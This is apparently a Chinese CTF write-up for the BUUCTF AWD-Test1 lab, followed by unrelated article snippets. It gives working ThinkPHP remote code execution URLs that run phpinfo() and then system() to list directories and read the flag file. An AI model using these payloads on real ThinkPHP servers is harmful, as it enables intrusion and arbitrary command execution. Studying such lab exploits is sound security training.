BUUCTF AWD-Test1
打开靶场是这个有些简陋的界面。
随便点点，找到这个东西。
看到ThinkPHP，思路瞬间清晰，老熟人了。这个就是ThinkPHP漏洞。根据版本我们去找一下poc。
/index.php/?s=Index/\think\View/display&content=%22%3C?%3E%3C?php%20phpinfo();?%3E&data=1
成功打开phpinfo界面。
查看目录
/index.php/?s=Index/\think\View/display&content="<?><?php%20system(%27ls%20/../%27);?>&data=1
找到flag了，抓取。
/index.php/?s=Index/\think\View/display&content="<?><?php%20system(%27cat%20/../flag%27);?>&data=1
防止有些新朋友不明白POC怎么来的，简短介绍一下。
这poc的意思是在URL中发送了一个参数 s。Index/\think\View/display在ThinkPHP框架中，这会被解释为对视图进行显示的操作。content是包含php代码的字符串，其中是执行的恶意代码。
相关文章：
BUUCTF AWD-Test1
打开靶场是这个有些简陋的界面。 随便点点，找到这个东西。 看到ThinkPHP，思路瞬间清晰，老熟人了。这个就是ThinkPHP漏洞。根据版本我们去找一下poc。 /index.php/?sIndex/\think\View/display&content%22%3C?%3E%3C?php%20phpinfo();…...
百亿诈骗案频出，欧科云链用“技术责任”拓宽Web3安全边界
2022年12月1日，《中华人民共和国反电信网络诈骗法》正式实施，中国正式迈入“全民反诈时代”。据CNNIC和智研咨询统计显示，截至2021年12月，国内网民遭遇网络诈骗比例为16.6%，数千万人深受网络诈骗的危害。 以新兴技术区…...
一个实时波形图的封装demo（QT）（qcustomplot）
前言： 封装的一个实时波形图的类，可以直接提升使用。 提供了接口，可以更改颜色，样式，等等 参考： Qt Plotting Widget QCustomPlot - Introduction 另外参考了一个大神的作品，链接没找到。 项目…...
Java进阶-反射
来学习一下Java的反射，通过Class实例获取class信息的方法称为反射（Reflection），内容如下 一、反射机制 1、概述 在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一…...
力扣180 连续出现的数字
如何有效地识别在数据库中至少连续出现三次的数字？ 目录 题目描述 解题思路 完整代码 进一步探索 题目描述 表：Logs ---------------------- | Column Name | Type | ---------------------- | id | int | | num | varch…...
C++面试 -操作系统-架构能力：内存问题分析与性能优化
内存问题分析： 内存泄漏： 描述什么是内存泄漏，以及它如何在 C 中发生。使用工具（如 Valgrind、AddressSanitizer）来检测和定位内存泄漏。如何预防内存泄漏？使用智能指针、正确释放资源等。 野指针和悬挂指针…...
基于springboot+vue的共享汽车管理系统(前后端分离)
博主主页：猫头鹰源码 博主简介：Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战，欢迎高校老师\讲师\同行交流合作 主要内容：毕业设计(Javaweb项目|小程序|Pyt…...
)
All Roads Lead to Rome (30)
1、题目： Indeed there are many different tourist routes from our city to Rome. You are supposed to find your clients the route with the least cost while gaining the most happiness. Input Specification: Each input file contains one test case. For…...
（四）)
GO语言学习笔记(与Java的比较学习)（四）
结构体 一个结构体（struct）就是一组字段（field）。 package main import "fmt" type Vertex struct {X intY int } func main() {fmt.Println(Vertex{1, 2}) } 结构体中的字段用 . 访问 package main im…...
在实训云平台上配置云主机
文章目录 零、学习目标一、实训云升级二、实训云登录（一）登录实训云（二）切换界面语言（三）规划云主机实例 三、创建网络三、创建路由器2024-2-29更新到此四、添加接口五、创建端口六、添加安全组规则七、创建…...
什么是隔离式栅极驱动器？
在电子设备领域，“驱动”一词占据着至关重要的地位，充当推动信号、控制和电源的力量。这个复杂世界中的一个重要组件是隔离式栅极驱动器，这项技术在确保各种电子系统高效、安全运行方面发挥着关键作用。 什么是栅极驱动器？ 从本质…...
蓝桥杯算法赛 第 6 场 小白入门赛 解题报告 | 珂学家 | 简单场 + 元宵节日快乐
前言 整体评价 因为适逢元宵节，所以这场以娱乐为主。 A. 元宵节快乐 题型: 签到 节日快乐，出题人也说出来自己的心愿, 祝大家AK快乐! import java.util.Scanner;public class Main {public static void main(String[] args) {System.out.println(&qu…...
附加Numpy数组
参考：Append Numpy Array 引言 在数据科学和机器学习领域，处理大规模数据集是一项重要且常见的任务。为了高效地处理数据，numpy是一个非常强大的Python库。本文将详细介绍numpy中的一个重要操作，即如何附加（append&a…...
收银系统源码-智慧新零售,ERP进销存功能详解
智慧新零售是一套线下线上一体化的收银系统，不仅给门店线下提供了多样化的收款方式，还提供了和线下深度打通的线上小程序商城。有线下又有线上自然需要一套完整的进销存模块能高效的管理商品。 智慧新零售进销存功能涵盖了商品的采购、销售、调拨、盘点…...
STM32使用PB3, PB4引脚的注意事项
STM32的PB3, PB4引脚作为GPIO引脚需要注意，因为他们默认分别是JTDO和NJTRST引脚。 笔者在设计可调增益增益放大器（VGA）的时候，使用4个GPIO读取外部控制电压，根据约定的编码格式设定DAC的输出电压，从而设置V…...
OSCP靶场--DVR4
OSCP靶场–DVR4 考点(1.windows：路径遍历获取私钥getshell 2.ssh shell中runas切换用户) 1.nmap扫描 ┌──(root㉿kali)-[~/Desktop] └─# nmap -sV -sC -p- 192.168.161.179 --min-rate 2000 Starting Nmap 7.92 ( https://nmap.org ) at 2024-02-29 07:14 EST…...
【嵌入式——QT】日期与定时器
日期 QTime：时间数据类型，仅表示时间，如 16:16:16；QDate：日期数据类型，仅表示日期，如2024-1-22；QDateTime：日期时间数据类型，表示日期和时间，如2…...
如何决定使用HashMap还是TreeMap?
使用 HashMap 还是 TreeMap 取决于你的需求和对数据结构的理解。 HashMap： 快速插入和查找：HashMap 提供了常数时间（O(1)）的插入和查找操作，因此对于需要快速插入和查找的场景非常适用。无序性：HashMap 不保…...
平台工程与安全
平台工程不是为了取代DevOps，而是DevOps的进一步演进和发展。本文介绍了DevOps和平台工程，以及对于安全的意义。原文: Platform Engineering and Security: A Very Short Introduction 中国云南大理的日落 我是一名 DevOps 工程师，个人还是希…...
智能咖啡厅助手：人形机器人 +融合大模型，行为驱动的智能咖啡厅机器人(机器人大模型与具身智能挑战赛)
智能咖啡厅助手：人形机器人 融合大模型，行为驱动的智能咖啡厅机器人(机器人大模型与具身智能挑战赛) “机器人大模型与具身智能挑战赛”的参赛作品。的目标是结合前沿的大模型技术和具身智能技术，开发能在模拟的咖啡厅场景中承担服务员角色并…...
Linux应用开发之网络套接字编程(实例篇)
服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …...
在软件开发中正确使用MySQL日期时间类型的深度解析
在日常软件开发场景中，时间信息的存储是底层且核心的需求。从金融交易的精确记账时间、用户操作的行为日志，到供应链系统的物流节点时间戳，时间数据的准确性直接决定业务逻辑的可靠性。MySQL作为主流关系型数据库，其日期时间类型的…...
synchronized 学习
学习源： https://www.bilibili.com/video/BV1aJ411V763?spm_id_from333.788.videopod.episodes&vd_source32e1c41a9370911ab06d12fbc36c4ebc 1.应用场景 不超卖，也要考虑性能问题（场景） 2.常见面试问题： sync出…...
)
椭圆曲线密码学(ECC)
一、ECC算法概述 椭圆曲线密码学（Elliptic Curve Cryptography）是基于椭圆曲线数学理论的公钥密码系统，由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA，ECC在相同安全强度下密钥更短（256位ECC ≈ 3072位RSA…...
Golang 面试经典题：map 的 key 可以是什么类型？哪些不可以？
Golang 面试经典题：map 的 key 可以是什么类型？哪些不可以？ 在 Golang 的面试中，map 类型的使用是一个常见的考点，其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...
C++八股 —— 单例模式
文章目录 1. 基本概念2. 设计要点3. 实现方式4. 详解懒汉模式 1. 基本概念 线程安全（Thread Safety） 线程安全是指在多线程环境下，某个函数、类或代码片段能够被多个线程同时调用时，仍能保证数据的一致性和逻辑的正确性…...
微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据
微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列，以便知晓哪些列包含有价值的数据，…...
NPOI Excel用OLE对象的形式插入文件附件以及插入图片
static void Main(string[] args) {XlsWithObjData();Console.WriteLine("输出完成"); }static void XlsWithObjData() {// 创建工作簿和单元格,只有HSSFWorkbook,XSSFWorkbook不可以HSSFWorkbook workbook new HSSFWorkbook();HSSFSheet sheet (HSSFSheet)workboo…...
Python 实现 Web 静态服务器（HTTP 协议）
目录 一、在本地启动 HTTP 服务器1. Windows 下安装 node.js1）下载安装包2）配置环境变量3）安装镜像4）node.js 的常用命令 2. 安装 http-server 服务3. 使用 http-server 开启服务1）使用 http-server2）详解 …...
Sklearn 机器学习 缺失值处理 获取填充失值的统计值
💖亲爱的技术爱好者们，热烈欢迎来到 Kant2048 的博客！我是 Thomas Kant，很开心能在CSDN上与你们相遇～💖 本博客的精华专栏： 【自动化测试】 【测试经验】 【人工智能】 【Python】 使用 Scikit-learn 处理缺失值并提取填充统计信息的完整指南 在机器学习项目中，数据清…...